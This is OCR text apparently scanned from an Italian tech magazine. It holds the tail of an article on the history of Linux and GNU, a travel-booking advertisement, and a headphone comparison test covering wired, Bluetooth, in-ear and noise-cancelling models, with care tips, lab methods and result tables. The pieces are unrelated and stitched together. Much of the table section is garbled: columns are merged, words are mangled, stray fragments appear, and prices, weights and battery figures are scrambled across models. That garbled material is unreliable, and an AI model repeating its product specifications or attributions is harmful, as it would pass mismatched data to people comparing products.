emotivo (soprattutto negli Stati Uniti) che chiunque la fa significare 
qualsiasi cosa voglia”. Torvalds preferirebbe anche mantenere il dibat- 
tito tra Software Libero e proprietario nell’ambito pratico, ovvero ragio- 
nando su quale dei due funzioni meglio alla fine dei conti, tralasciando 
il discorso sulla morale (cioè sul fatto che sia moralmente sbagliato 
impedire l’accesso al codice sorgente per gli utenti). 


DAL TERMINALE ALLA GRAFICA 


Poco dopo la pubblicazione della versione 0.12 di Linux, il siste- 
ma fece un enorme passo avanti: il supporto al server grafico X. 
Nell’entusiasmo dovuto alla possibilità di realizzare applicazioni con 
interfaccia grafica, Torvalds decise di saltare direttamente al numero 
di versione 0.95. Il problema è che nonostante il sistema avesse ora 


molte funzioni utili al grande pubblico, non era affatto stabile. Il risul- 
tato è che prima di arrivare alla versione 1.0, cioè quella stabile, era 
necessario ancora del tempo e nel giro di poco i numeri a disposizione 
per le versioni finirono: è per questo motivo che, guardando i nomi 
delle vecchie versioni di Linux, si nota che sono state aggiunte delle 
lettere. Ad esempio, la prima versione con un supporto stabile ad X 
era chiamata 0.96a. Pur non essendo ancora stabile, è subito chiaro 
a tutti che Linux è il kemel più adatto per il progetto GNU, e viene 
adottato dalla maggior parte dei programmatori. Grazie alle patch 
e ai suggerimenti degli appassionati, Torvalds riesce a correggere i 
principali bug ed a realizzare una versione del sistema operativo GNU/ 
Linux sufficientemente stabile nel 1994, pubblicando Linux 1.0. Da 
quel momento, sempre più persone hanno contribuito allo sviluppo 
del sistema e diverse aziende hanno deciso di basare le loro attività 
sul binomio GNU/Linux. Sono nati centinaia di progetti che sfruttano 
la portabilità del sistema in tutti gli ambiti in cui oggi possiamo imma- 
ginare un computer: da desktop e server ai telefonini ed elettrodome- 
stici. Nel frattempo, Linus Torvalds si è laureato con una tesi intitolata 
“Linux: a portable operating system” e ora coordina lo sviluppo del 
suo kernel. Richard Stallman continua a lavorare su EMACS e segue 
gli sviluppi del progetto GNU, passando comunque quasi tutto il suo 
tempo viaggiando in tutto il mondo per spiegare l’importanza di vivere 
in una società Libera. Il laboratorio di intelligenza artificiale dell’MIT è 
stato spostato in un altro edificio, e non hanno più il DEC-20. 

In compenso, hanno ancora, come tutti noi, delle stampanti che, ogni 
tanto, si inceppano. 
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La comparsa delle distribuzioni 


Grazie alla libertà garantita 
dal progetto GNU/Linux, 
chiunque può hackerare il 
sistema e creare la propria 
distribuzione. Presentiamo 
qui soltanto le principali, 
ma in totale ad oggi se ne 
contano più di 700. 
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vai su TrovaVie 


Il TrovaViaggi di Turistipercaso.it 
è sempre più ricco e ti offre 

la possibilità di organizzare i 
tuoi viaggi scegliendo tra le 
migliori Offerte Speciali e Last 
Minute proposte da Agenzie, 
Tour Operator, Hotel, B&B e 
Agriturismi. 


Sei un 
e vuoi promuovere la tua 
struttura sul TrovaViaggi? 


Fai conoscere la tua attività a 
più di 10 milioni di viaggiatori! 
Collegati a www.trovaviaggi.it 

Clicca sul box “Scopri il TrovaViaggi” 
Seggi le istruzioni e... in pochi click 
la tua struttura sarà online! 


TrovaViaggi 
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at 


fi ì 
Ì 


"AD ARCHETTO è 
CON FILO 


...per un suono migliore. 


“IN-EAR 9 
CON FILO = 


..per un’aderenza sicura. 


i 


il] 


...per chi viaggia. . 


AD ARCHETTO 
SENZA FILO 


..per la massima 
libertà di movimento. 


un’offerta estremamente varie- 
‘gata, che consente di sceglie- 
re da mini-auricolari quasi invisibili a cuffie di 
dimensioni enormi, con padiglioni grandi quanto 
una mela, con prezzi da 7 a 1000 euro, con filo o Blue- 
tooth e, se desiderato, anche con tecnologia Noise Can- 
celling. | nostri esperti hanno selezionato accuratamente le 
50 cuffie più interessanti di cinque categorie, sottoponendo- 
4-7 le a test severi e, logicamente, a intense prove uditive. Nelle 
«tabelle comparative conclusive, potremo senz'altro trovare il 
SE modello più adeguato al nostro budget e alle nostre prefe- 


ir 
gara. î 
renze di ascolto. 
na 


5 TIPOLOGIE PER OGNI ESIGENZA 


—__ 


Con quale tipo di cuffie poter godere al meglio della vostra 
«Musica preferita, dipenderà soprattutto dal luogo dove ne 
«farete impiego e dalla modalità di utilizzo. 


| settore delle cuffie presenta 


la musica tra le mura domestiche. Esistono anche mo- 
delli sovraurali (“On-Ear”) di dimensioni più piccole, con 
archetto. 


—x=_®* CUFFIE BLUETOOTH CON ARCHETTO: anche di que- 

sto tipo esistono modelli cireumaurali e sovraurali. Non 

N avendo necessità di alcun cavo per collegarsi allo smart- 

NR phone, queste cuffie offrono una maggior libertà in mobi- 
è “»__lità o quando si utilizzano in ufficio. 

S e CUFFIE IN-EAR CON FILO: questi minuscoli auricolari 


sono inclusi nella dotazione di numerosi smartphone e 
consentono di godere di un gradevole audio in mobilità. 

e CUFFIE IN-EAR CON BLUETOOTH: si collegano in mo- 
dalità wireless allo smartphone e solo gli auricolari sono 
collegati tra di loro tramite un cavo: perfette da usare du- 
rante un’attività sportiva. 

LI CUFFIE CON NOISE CANCELLING: in questa ca- 

tegoria rientrano sia modelli con archetto, che In-Ear 

con e senza filo. Essendo dotate di un sistema elet- 
tronico per la soppressione del rumore, questo 
tipo di cuffie è in grado di eliminare fastidiosi 

?. rumori di sottofondo, in aereo, in treno o 

negli uffici open-space, consenten- 

do all’utente di potere ascoltare la 
musica senza disturbi. 


bin vavcsip dig WA 


Vuoi vivere la tua estate a tutta musica? 
Ecco il test completo che ti svela qual è la cuffia più 


adatta alle tue esigenze 


IL PREZZO È ELEVATO 


Rispetto ad altri dispositivi tecnologici, l'accuratezza del- 
le cuffie non salta subito all’occhio, ma è percepibile solo 
indossandole e tra tutte le candidate al test, le in-ear Be- 
yerdynamic Xelento Remote, modello più costoso con un 
prezzo di ben 1000 euro, si distinguono per una straordinaria 
qualità costruttiva ed un suono perfetto. | modelli con prez- 
zi stracciati della stessa categoria presentano a prima vista 
una qualità appena accettabile e il loro prezzo, anche se irri- 
sorio, offre prestazioni estremamente scadenti. Da Amazon 
è possibile acquistare le Langsdom JM26 per soli 7 euro e 
le iProtect, molto simili esteticamente ai più noti auricolari 
della mela morsicata, per 10 euro. Nelle prove di laboratorio, 
le iProtect non sono state in grado di riprodurre i toni bas- 
si, mentre le Langsdom infastidiscono a causa di risonanze 
metalliche. Entrambi i modelli offrono un suono di pessima 
qualità. Le cuffie più idonee non devono però essere obbli- 
gatoriamente le più costose, infatti le in-Ear di Panasonic, 
pur costando solo 10 euro, offrono una qualità di suono di- 
gnitosa. Anche eleganti cuffie ad archetto come le nuove Ur- 
banears Platten 2, in grado di riprodurre il suono ottimamen- 
te, potranno essere ottenute con 47 euro. Chi vorrà godere 
di un suono di qualità straordinaria dovrà sborsare una cifra 
decisamente più elevata, ad esempio 185 euro per acquista- 
re le cuffie Focal Listen. 


PIÙ CONCENTRATI SULLA MUSICA 


Anche le cuffie dotate di sistema per la soppressione del 
rumore ambientale (Noise Cancelling), si rivelano compara- 
tivamente costose. In questi modelli, microfoni incorporati 
direttamente nelle cuffie, provvedono a catturare i rumori 
dell'ambiente circostante, mentre l’elettronica elabora con 
estrema precisione onde sonore di forma opposta, riprodu- 
cendo questi segnali attraverso le cuffie, anche mentre viene 
diffusa la musica. | rumori e le onde sonore con “movimento 
contrario” tendono a smorzarsi reciprocamente, rendendo i 
rumori decisamente più ovattati, consentendo all’ascoltato- 
re di lavorare in tutta tranquillità o di rilassarsi, godendo la 
musica anche in ambienti rumorosi. Nel test, le Bose Quiet 
Comfort 35 e le Sony MDR-1000X si sono rivelate le migliori 
cuffie dotate di questa tecnologia. Occorrerà comunque fare 
attenzione utilizzando queste cuffie nel traffico stradale, dato 
che il sistema Noise Cancelling elimina anche i rumori gene- 
rati dalle automobili. 


BLUETOOTH: TUTTO PIÙ SEMPLICE 


Oltre a cuffie In-Ear ad archetto e con Noise Cancelling, sono 
oggi disponibili anche modelli con tecnologia Bluetooth, cioè 
senza filo. Il cavo aggrovigliato appartiene ormai al passato 
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“Le cuffie che preferiamo sono le 
Plantronics Backbeat Pro 2, che 
offrono un’ottima qualità del 
suono, sistema Noise 
Cancelling e automatismi per 
le funzioni Start-Stop, nonché 
un prezzo accessibile.” 


e l'utilizzo di questi modelli durante l’attività sportiva si rive- 
la straordinario, offrendo una maggior libertà di movimento. 
Svantaggio: il Bluetooth necessita di alimentazione e queste 
cuffie dovranno quindi essere collegate regolarmente al cari- 
cabatteria per ricaricare le batterie incorporate. L'autonomia 
più lunga è offerta dalle cuffie ad archetto, che presentano 
generalmente maggior spazio per alloggiare la batteria. Nel 
test, le Skullcandy Crusher Wireless si sono rivelate le nu- 
mero uno, offrendo con una ricarica un'autonomia di quasi 
57 ore, seguite dalle piccole Audio Technica 

ATH-SRSBT che è stato possibile utilizzare per quasi 50 ore. 
Altre buone cuffie dotate di Noise Cancelling sono riuscite 
ad offrire un'autonomia di circa 30 ore. In linea di massima, 
quanto più piccole sono le cuffie, tanto più breve sarà l’auto- 
nomia. La batteria delle in-Ears tende ad esaurirsi dopo cir- 


ca 8 ore. Per rendere più performanti le proprie cuffie, Bose 
ha corredato le QuietControl 

30 di un confortevole archetto da mettere al collo, dove tro- 
vano posto l’elettronica per il Noise Cancelling e la batteria. 
Questo archetto impedisce agli auricolari di staccarsi dalle 
orecchie. Nelle prove, queste in-Ear hanno offerto un’auto- 
nomia di quasi 11 ore. Anche Anker ha corredato le proprie 
Soundbuds Sport NB10 di un robusto archetto per il collo, 
ma il produttore ha sistemato le batterie all’interno dei due 
piccoli auricolari. 


APP E ALTRE FUNZIONI EXTRA 


Dopo aver indossato le cuffie, tutte le candidate al test si 
sono rivelate funzionali per l'ascolto della musica, ma alcuni 
modelli si distinguono anche per altre funzioni, interessan- 
ti e pratiche. Ad esempio, il modello di Sony MDR-1000X 
con Noise Cancelling consente di attivare i microfoni esterni, 
semplicemente appoggiando la mano sul padiglione della 
cuffia, interrompendo la riproduzione della musica. In que- 
sto modo, l’utente potrà rendersi conto di quanto avviene 
nell'ambiente circostante, senza essere costretto a togliersi 
le cuffie. Anche le Libratone Q Adapt On-Ear offrono questa 
funzione e in più la possibilità di comandare le cuffie in mo- 
dalità touch. JBL ha ora lanciato sul mercato le nuovissime 
Sport Wireless Heart Rate, realizzate in collaborazione con 


TRUCCHI PER LE TUE CUFFIE 


A chi non è successo di ritrovarsi con il cavo aggrovigliato, sporcizia nelle cuffie, presenza di corpi estranei nella porta d'ingresso per gli 
auricolari dello smartphone? Ora possiamo finalmente dire basta a tutti questi fastidi! Ecco i consigli trucchi pratici per l'utilizzo quoti- 
diano delle cuffie, che oltre a migliorare la qualità del suono, consentiranno di ottimizzare durata e resistenza del dispositivo 


ADDIO Al CAVI 
AGGROVIGLIATI 


Tutti sanno cosa succede 
quando le cuffie vengono infi- 
late nella tasca della giacca o 
nello zaino, infatti anche av- 
volgendo il cavo come si deve, 
il filo si presenta sempre tutto 
aggrovigliato. Con le cuffie In- 
Ear si può rimediare utiliz- 
zando una piccola molletta 
per capelli, che impedirà al 
cavo di ingarbugliarsi. 
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PULIRE L'INGRESSO 
DELLE CUFFIE 


Se le cuffie riproducono la mu- 
sica da un solo auricolare, non 
significa che siano difettose. 
Consigliamo di controllare la 
porta d'ingresso delle cuffie 
poiché qui, col tempo, si depo- 
sita la sporcizia, che impedisce 
al connettore di inserirsi cor- 
rettamente. Potremo eliminare 
la sporcizia usando delicata- 
mente uno stuzzicadenti. 


EVITARE LA 
ROTTURA DEL CAVO 


| cavi per le cuffie si rivelano 
deboli nel punto dove è siste- 
mato il connettore da inseri- 
re nello smartphone. Potre- 
mo evitare che il cavo si rom- 
pa proprio in quel punto, infi- 
landolo nella molla (va be- 
nissimo quella di una classi- 
ca penna a sfera), che rinfor- 
zerà il cavo evitando che il 
connettore si pieghi. 


PULIRE GLI AURICOLARI 
A lungo andare, sulle minusco- 
le aperture delle cuffie in-Ear si 
deposita sporcizia di ogni tipo, 
come cerume o polvere e peli. 
Cercare di eliminare la sporci- 
zia soffiando nelle aperture 
serve a poco, sarà molto più 
utile servirsi di un pennellino. 
Gli auricolari accessibili con dif- 
ficoltà, possono essere puliti 
utilizzando all'occorrenza uno 
stuzzicadenti. 
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Fig. 1° Eseguendo movimenti circolari sull’interfaccia touch delle 
Libratone Q Adapt, è possibile alzare o abbassare il volume. 


Fig.4 Le Beyerdynamic Xelento Remote consentono di rimuovere 
agevolmente il cavo delle cuffie. 


Under Armour, produttore americano di articoli sportivi. Fio- 
re all'occhiello di queste cuffie è il cardiofrequenzimetro in- 
tegrato, che durante l’attività sportiva provvede a registrare 
in un'app la frequenza cardiaca. Nelle prove, il dispositivo ha 
funzionato perfettamente. 

Nell’utilizzo quotidiano si rivelano pratiche anche altre fun- 
zioni per la gestione della musica, come quelle offerte dalle 
Plantronics Back Beat Pro 2. Nel momento in cui l’utente si 
toglie queste cuffie Over-Ear (cireumaurali), s'interrompe an- 
che la riproduzione della musica, che riprenderà non appena 
l’utente indosserà nuovamente le cuffie. Chi non ama que- 
sta funzione, potrà disattivarla. Un ulteriore trend introdotto- 
si con i modelli in-Ear di prezzo elevato, è rappresentato dal 
cavo rimovibile, come offerto da Beyerdynamic Xelento Re- 
mote e da AKG N40. Vantaggio: se il cavo si rivela difettoso, 
potrà essere sostituito. Svantaggio: con il tempo, i contatti 
possono diventare traballanti. 


CONCLUSIONI 


Possiamo dire che esistono cuffie per qualsiasi esigenza 
dell’utente. Nelle prove, si sono distinte positivamente of- 
frendo una qualità straordinaria, le Focal Listen, le cuffie per 
lo sport Bose Soundsport Wireless e le Plantronics Back 
Beat Pro 2 dotate di Noise Cancelling. Dovreste stare asso- 
lutamente alla larga dai modelli ultraeconomici, in grado di 
offrire solo un suono di pessima qualità. 


Fig.2* Gli archetti per il 
collo sono il nuovo trend: 

sulle Bose QuietControl 30 
questo componente si rivela 
confortevole e non crea fastidio 
nell'utilizzo quotidiano delle 
cuffie. Il cavo di queste leggere 
In-Ear è della lunghezza giusta. 


Fig.3 Le Sport Wireless HR 
di JBL Under Armour integrano 
un cardiofrequenzimetro, 

che nelle prove ha funzionato 
ottimamente. 


OTTIMIZZAZIONE 
GRATUITA DEL SUONO 


Su numerosi smartphone 
della serie Galaxy, Samsung 
ha introdotto la funzione 
Adapt Sound, che consente 

! diottimizzare il suono con un 
semplice tocco delle dita. 
Sarà possibile accedere 

a questa funzione dalle 
impostazioni, tappando su 
Suoni e vibrazione, poi su 
Qualità audio ed effetti ed 
infine su Adapt Sound. 
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< AUDIO PERSONALIZZATO 


Sì 


ANTEPRIMA 


Orecchio pref. per chiamate 


Sinistra 


Personalizza audio 
cercare l'audio migliore, 1 dati 
to correnti verranno sostituiti. 


CUFFIE PENZOLANTI 


Come utilizzare le cuffie In-Ear quando non si 
ascolta la musica? A Londra è molto trendy, in- 
dossarle lasciando il cavo penzoloni sulle orec- 

chie. Questa moda può apparire bizzarra, ma in- 
dubbiamente meno dannosa per le orecchie. 


on 


COME SONO STATI ESEGUITI | TEST? 


La qualità del suono può essere misurata e per il test sulle cuffie sono stati utilizzati accuratis- 
simi strumenti di misurazione ed una camera insonorizzata 


La qualità del suono delle cuffie può 
essere rilevata con una serie di misu- 
razioni e test uditivi. | toni bassi.non 
vengono riprodotti o gli alti scarseg- 
giano? Le cuffie tendono a distorcere i 
suoni riprodotti? Tutte queste anoma- 
lie sono state rilevate in laboratorio 
impiegando una testa artificiale con 
microfoni incorporati, a cui sono colle- 
gati strumenti di misurazione. La te- 
sta artificiale Bruel & Kjaer 
BK4128 presenta esatte riprodu- 


microfoni, al posto dei timpani. A que- 
ste riproduzioni vengono collegati ge- 
neratori e analizzatori AP2700 e 
apx585 di Audio Precision. Per elimi- 
nare eventuali interferenze dall'ester- 
no, le misurazioni vengono effettuate 
in una camera insonorizzata. 


MISURAZIONI E PROVE 


Misurazioni e prove vengono comple- 
tati da test uditivi effettuati individual- 
mente da esperti tester. In questo mo- 


preferenze uditive di una singola per- 
sona possano influenzare i risultati 
del test. Per le cuffie In-Ear e ad ar- 
chetto, entrambi con tecnologia Blue- 
tooth, il laboratorio provvede a rilevare 
anche l'autonomia della batteria, veri- 
ficando se le cuffie eventualmente si 
disattivano automaticamente durante 
la riproduzione della musica. Tutti i ri- 
sultati delle misurazioni e dei test udi- 
tivi si rivelano determinanti per asse- 
gnare i voti parziali e complessivi, ri- 


zioni delle orecchie corredate di do, viene esclusa la possibilità che le 


19 290; 


portati nelle tabelle comparative. 
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CUFFIE AD ARCHETTO 
CON FILO 


I RISULTATI IN BREVE FOCAL SENNHEISER BOWERS & WILKINS | BEYERDYNAMIC 
pe n ee pas 


Qualità del suono? Le Focal Listen brillano per una riprodu- 
zione del suono accuratissima e poten- 


te, con toni bassi profondi e robusti. 


Il suono delle Sennheiser è gradevole, 
ma poco ricco di sfumature. Le voci 
vengono riprodotte leggermente ovatta- 
te e piatte. 


Rispetto al modello precedente, queste 
nuove cuffie riproducono un numero infe- 
riore di sfumature di suono e i bassi si rì- 
velano un po' invasivi. 


Le sottili DTX 350 M offrono nel com- 
plesso un suono pulito e dinamico. Bas- 
si potenti e alti gradevoli rendono le 

prestazioni come si deve. 


Offrono microfono vivavoce, ma manca 
il regolatore del volume. 

I suoi 305 grammi le rendono un po' 
pesanti per la mobilità. 


Idoneità delle cuffie per lo smartphone? Ottima, con microfono e regolatore del 


Volume. 
Pur essendo di grandi dimensioni, il loro 
peso di 195 grammi le rende valide per 
la mobilità. 

Materiale impiegato un po’ economico, 
ma le cuffie aderiscono bene alle orec- 
chie. 

Sacchetto in stoffa 


Ottima, con microfono e regolatore del 
volume. 


Peso di 133 grammi, ma con filo un po' 
corto (115 cm). 


E' presente microfono vivavoce, ma man- 
ca regolatore per volume. 

Piccole, pesanti 136 grammi e con un 
filo sufficientemente lungo. 


Quanto sono valide le cuffie per la mobilità? 


Comfort delle cuffie? Aderiscono bene alle orecchie, ma in- 
dossate a lungo tendono a comprimere 


leggermente. 


Analogamente al modello predecesso- 
re, aderiscono perfettamente alle orec- 
chie. 

Custodia rigida 


Anche indossate per lungo tempo, le 
DTX 350 Msi rivelano confortevoli. 


Quali accessori sono inclusi nella dotazione? 


RISULTATO DEL TEST 


CUFFIE AD ARCHETTO 
SENZA FILO 


I RISULTATI IN BREVE AUDIO TECHNICA 


ATH-SR5BT 


SONY 


MAGNAT 
LZR 588 MDR-ZX330BT 


Qualità del suono? 


Idoneità delle cuffie per lo smartphone? 


146 Euro 


Le Magnat LZR 588 offrono toni bassi 
molto potenti e toni medi e alti ricchi di 
sfumature. Per il prezzo richiesto, la 
qualità è straordinaria. 


143 Euro 


Sorprendente la qualità dei toni bas- 
si offerta da queste piccole cuffie ad 
archetto. | toni alti si rivelano però un 
po'troppo acuti. 


Ottima, con microfono e regolatore del 
volume. 


Ottima, con microfono e regolatore del 
volume. 


Quanto sono valide le cuffie per la mobilità? 


Comfort delle cuffie? 


Accettabili sia il peso di 238 grammi 
che l'autonomia di 20 ore. 


Le Magnat aderiscono bene alle orecchie, ma 
non sono indicate da indossare durante un'at- 
tività sportiva. 


Quali accessori sono inclusi nella dotazione? 


RISULTATO DEL TEST 


CI, 

e 
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Cavo perle cuffie e sacchetto in cuoio 


KAKA 


Si rivelano al top, offrendo un peso di 
182 grammi ed un'autonomia per qua- 
si 50 ore di musica. 

Non aderiscono perfettamente alle 
orecchie e possono quindi facilmente 
Spostarsi e scivolare. 


AAA 


118 Euro 


Le JBL si distinguono per toni bassi 
potenti, che smorzano un po’ anche i 
toni medi. Le voci vengono riprodotte 
in modo pulito. 


Ottima, con microfono e regolatore del 
volume. 


56 Euro 


Cuffie che non fanno una piega, infatti 
le Sony MDR-ZX330BI si rivelano molto 
performanti. Soltanto i toni medi risulta- 
no un po' acuti. 


Buona. Dotate anche di microfono e re- 
golatore del volume, ma non offrono la 
possibilità di essere usate con il filo. 


Si rivelano buone, offrendo un peso di 
226 grammi, ma anche un'autonomia 
di quasi 34 ore di musica. 


Le JBL aderiscono bene e si rivelano 
confortevoli. 


Eccezionali, con un peso di 142 grammi 
ed un'autonomia di 40 ore. 


Le ZX3330BI si rivelano un po' rigide 
sulle orecchie. 


KATA 


Custodia 


Componenti morbidi sensibili: le 
orecchie in silicone consentono di 
ricreare anche per le cuffie In-Ear 
condizioni di utilizzo realistiche. 


Collega virtuale in ascolto: microfoni calibrati vengono Strumenti di misurazione 
applicati alle orecchie della testa artificiale di Bruel dislocati all’esterno della camera 
& Kjaer (a sinistra della foto), per rilevare eventuali di prova provvedono a registrare 
alterazioni del suono. i dati rilevati. 


URBANEARS 
PLATTAN 2 

47 Euro 

Tenuto conto del prezzo, le Plattan 2 
si rivelano come si deve. Nel com- 
plesso offrono però un suono legger- 
mente rimbombante, ma i toni alti 
sono diretti e robusti. 


Offrono microfono vivavoce, ma man- 
ca il regolatore del volume. 


BEATS BY DR. DRE 
r4 Em. 


Nel test, le economiche EP non 
hanno offerto la qualità tipica 

delle Beats. Offrono comunque 
un suono bilanciato, ma legger- 
mente debole. 


PHILIPS 
SHX50 

95 Euro 

La presenza di LED sui padiglio- 
ni è una novità, ma il suono of- 

ferto rientra solo nella media e 

si rivela complessivamente cu- 

po e poco differenziato. 


PHILIPS 
SHL4805 FLITE 
27 Euro 


Le Flite si rivelano interessanti e 
molto convenienti, offrendo un 

suono caldo, ma toni alti un po' 
troppo deboli. Per il resto il suo- 
no è abbastanza bilanciato. 


SENNHEISER 
HD 200 PRO 
69 Euro 


Le nuove Sennheiser si rivelano 
veramente buone e solo i toni 
bassi non sono particolarmente 
profondi mentre gli alti potreb- 
bero essere più robusti. 


SONY 
MDR-7X310 
17 Euro 


La qualità delle Sony non è il 
massimo e i toni alti sono un po' 
troppo deboli, ma occorre non 
dimenticare che queste cuffie ad 
archetto costano soltanto 17 Eu- 
ro. 


Offrono microfono vivavoce, ma non è 
possibile regolare il volume. 


Ottima, con microfono e regolazione 
del volume. 


Offrono microfono vivavoce, ma man- | Offrono microfono vivavoce, ma man- | Manca il microfono, ma offrono un filo 
ca il regolatore del volume. ca il regolatore del volume. della lunghezza di due metri. 


Le Plattan 2 sono molto flessibili e Le Beats pesano 203 grammi. Il peso di 263 grammi delleSHX50 | Isuoi 128 grammi rendono queste | Anchesedi grandi dimensioni, Il pe- | Tra tutte le cuffie testate, il peso di 

pesano soltanto 129 grammi. rimane accettabile. Philips estremamente leggere. so di 203 grammi rende leggere que- | 135 grammi fa rientrare le Sony trai 
ste Sennheiser. modelli con peso piuma. 

Grazie al loro peso minimo aderisco- | Le EP comprimono le orecchie. Malgrado le dimensioni, le Philips Talmente leggere, che quasi nonse | Anchese indossate per lungo tempo, | Confortevoli da indossare anche per 

no perfettamente alle orecchie. aderiscono bene alle orecchie. ne avverte la presenza sulla testa. il comfort rimane. lungo tempo. 


Nessun accessorio, ma offrono effetti | Nessun accessorio e rgida da 6,3 mm per impianti 
luminosi attivabili a piacere. 


lana ta 


19 0.0 


SKULLCANDY 
CRUSHER WIRELESS 
149 Euro 


Un eventuale urto all'archetto rim- 
bomba nelle orecchie. | toni bassi ri- 

sultano risonanti (a seconda della re- 
golazione del regolatore dei bassi) e i 
toni alti si rivelano un po' acuti. 


Nessun accessorio Sacchetto di stoffa Nessun accessorio 


5g 6. 


BEATS 
SOL03 WIRELESS 
258 Euro 


SENNHEISER 
URBANITE XL WIRELESS 
269 Euro 


PLANTRONICS 
BACKBEAT SENSE . 
122 Euro 


LIT WIRELESS 
55 Euro 


Il suono delle Jabra Move Wireless ri- 
sulta gradevole e poco invadente. Le 
voci vengono però riprodotte un po' 
ovattate. 


114 Euro 


La qualità del suono non fa una pie- 
ga. E' possibile regolare i toni bassi 
sutre livelli. E' consigliabile selezio- 
nare la posizione intermedia del re- 
golatore. 


Relativamente alla qualità del suono, 
rispetto alle Solo 2 queste nuove Be- 
ats sono cambiate poco, il suono ri- 
mane caldo e le voci vibranti. 


Le voluminose Sennheiser piacciono 
perun suono limpido e ricco di sfu- 
mature. Le voci risultano però lieve- 
mente fredde e ovattate. 


Malgrado una struttura sottile, le 
Sense offrono toni bassi gradevoli. Il 
suono manca però d'intensità. 


Ottima con microfono e regolatore 
peril volume. 


Ottima con microfono vivavoce e re- 
golatore per il volume. 


Ottima, con microfono e regolazione 
del volume. 


Ottima con microfono e regolatore 
del volume. 


Ottima, grazie al microfono e al rego- 
latore del volume. 


Ottima, grazie al microfono e al rego- 
latore del volume. 


Si rivelano buone e offrono un peso 
di 192 grammi ed un'autonomia di 
34 ore perla riproduzione. 


Pesano 244 grammi e offrono un'au- 
tonomia di quasi 25,5 ore. 


La batteria dura 24 ore, ma il peso di 
308 grammi le rende un po’ pesanti 


Pesano 143 grammi ed offrono 
un'autonomia di circa 18,5 ore. 


L'autonomia è solo di 7,5 ore, ma il 
peso di 163 grammi le rende leggere. 


Pesano ben 293 grammi, ma offrono 
un'autonomia di quasi 57 ore. 


Malgrado presentino dei cuscinetti 
sottili, si rivelano confortevoli da in- 
dossare. 


Possono essere indossate con estre- 
mo comfort, anche per lungo tempo. 


Le 1More aderiscono confortevol- 
mente alle orecchie. 


Buono, ma l'archetto comprime leg- 
germente la testa. 


Cavo per le cuffie, borsa/custodia 


AAT 


Molto confortevoli, ma non aderisco- 
no perfettamente alle orecchie. 


Indossate a lungo, diventano un po" 
scomode. 


Cavo per le cuffie, sacchetto di stoffa 


KATA 


Cavo per le cuffie, borsa di stoffa Cavo per cuffie, sacchetto di stoffa Cavo per cuffie, sacchetto 


KATA KATA XAAAT 
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CON FILO 


I RISULTATI IN BREVE bla D Bla a 
990 Euro 396 Euro 104 Euro 99 Euro 


Le Xelento offrono una riproduzione | LeAKGpiacciono perun sound ricco { Neltest, le Beyerdynamic hanno offer- 
buona e non invasiva, potente anche a | di sfumature. I toni bassi rinvigorisco- { tounsuono caldo, ma un po' cupo. 
volume poco elevato, con toni bassi 


Tipico della qualitàTeufel, le Move Pro 
si rivelano potenti ed offrono toni bassi 
noitoni alti cristallini. Il cavo può es: | Malgrado ciò alcune sfumature erano | comesi deve. Solo i toni medi risulta- 


Qualità del suono? 


profondi e toni alti molto puliti. sere sostituito. ancora percepibili. no un po'deboli. 
Ottima, con microfono e regolatore del | Con microfono e volume regolabile, | Ottima, con microfono e regolatore del | Ottima, con microfono e regolatore del 


Offrono un peso di 19 grammi che le 


c a nea h i Peso di 15 grammi, ma il cavo di 115 | Le Beyerdynamic presentano un peso | Il peso di 15 grammi le rende leggeris- 
Quanto sono valide le cuffie per la mobilità? ita Puig ora bene | cmsirivela unpo' corto. di 16 grammi. sime, ma cavo dun po' corto. 
Comfort delle cuffie? I costosi auricolari aderiscono confor- | Queste In-Earaderiscono bene anche | Design dalla linea sottile con un eleva- | Il classico design a forma di proiettile 
tevolmente alle orecchie. suorecchie piccole. to comfort d'indossabilità. le fa aderire bene. 


Astuccio custodia 


Quali accessori sono inclusi nella dotazione? 


Custodia rigida 


RISULTATO DEL TEST FATA AAA AAAAI AAAA3 
RS IT 9 | 
SENZA FILO Ni N 9 cRp.i 4. 23) 
I RISULTATI IN BREVE 00 WIRELESS STR: ALI 3 WIRELESS Mi 


179 Euro 126 Euro 168 Euro 120 Euro 
Utilizzate perlo smartphone, le Bose | Al primo contatto, le NuForce BEGI Queste cuffie deve essere “tenuta a | Neltest, leTeufel hanno offerto buoni 
F offrono un volume un po' basso eun | dannol'impressione di essere poco | bada”pernondiventare invasiva, ma | tonibassi riprodotto voci un po' 
Qualità del suono? suono debole, ma ricco di sfumature. | performanti, ma dopo un attento le nuove Beats, indicate perlo sport, | ovattate.Anche se usate con smart- 
Anche indossando le cuffie a lungo, il | ascolto offrono una riproduzione puli- | offrono unsuonoricco di sfumature, | phonea basso volume, offrono una 
suono rimane gradevole. ta e ricca di sfumature. contoni bassi molto profondi. potenza sufficiente. 


Ottima, grazie a microfono vivavoce e | Convivavoce e regolatore del volume, | Ottima, grazie a microfono vivavoce e | Convivavoce e regolatore del volume, 
Idoneità delle cuffie per lo smartphone? regolatore del volume. ma non è elevato. regolatore del volume. ma non è elevato. 


A slià Pesano ben 23 grammi e offrono Pesano 17 grammi e offrono un'auto- | Iitop,con autonomia di oltre 11,5 ore | Pesano 16 grammi e offrono un'auto- 
Quanto sono valide le cuffie per la mobilità? | ur'astonomiadi quasi 7 ore. nomia di circa 7 ore. e peso di 26 grammi. nomia di quesi9,5 ore 


Malgrado le grandi dimensioni, aderi- | Laforma allungata non consente una | Molto confortevoli, anche se indossate | Chi ha orecchie piccole potrebbe tro- 
Comfort delle cuffie? buona aderenza. a lungo. Varle scomode. 


Quali accessori sono inclusi nella dotazione? | Borsadistoffa Custodia rigida 
RISULTATO DEL TEST AAAAS AAAAS AAAA: 


CUFFIE “ 
CON NOISE CANCELLING i Mi v) 3, | 4. 
I RISULTATI IN BREVE BANG & OLUFSEN | PLANTRONICS BOSE SONY 
BEOPLAY H3 ANG BACKBEAT PRO 2 QUIETCOMFORT 35 MDR-1000X 


206 Euro 280 Euro 379 Euro 382 Euro 


Le cuffie H3ANCoffrono un suono bi- RAI O Rispetto al modello predecessore QC. | Queste cuife fire all'occhiello di So- 
Qualità del suono? lanciato, convoci ton bassi. | on bassi profondi. Le prestazioni mi- | 5 cuffeattuli fono unmigior” | my fono un suono steorinaro e un 
x Il suono riprodotto, pur non essendo giorano disattivando il Noîse Cancel- effetto dinamico. Il sistema perlasop- | ottimo sistema Noise Cancelling che, 


profondo, si rivela potente. îing pressione del rumore è straordinario. | all'occorrenza, può essere disattivato. 


Idoneità delle cuffie per lo smartphone? mir pe 


Pesano 294 grammi ed offrono un'au- 
tonomia di oltre 25 ore. 


AAA AAAAS KAAKI KAKA 
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(1002 

69 Euro 

I toni bassi vengono valorizzati dalle 
(1002 solo con volume elevato. | to- 
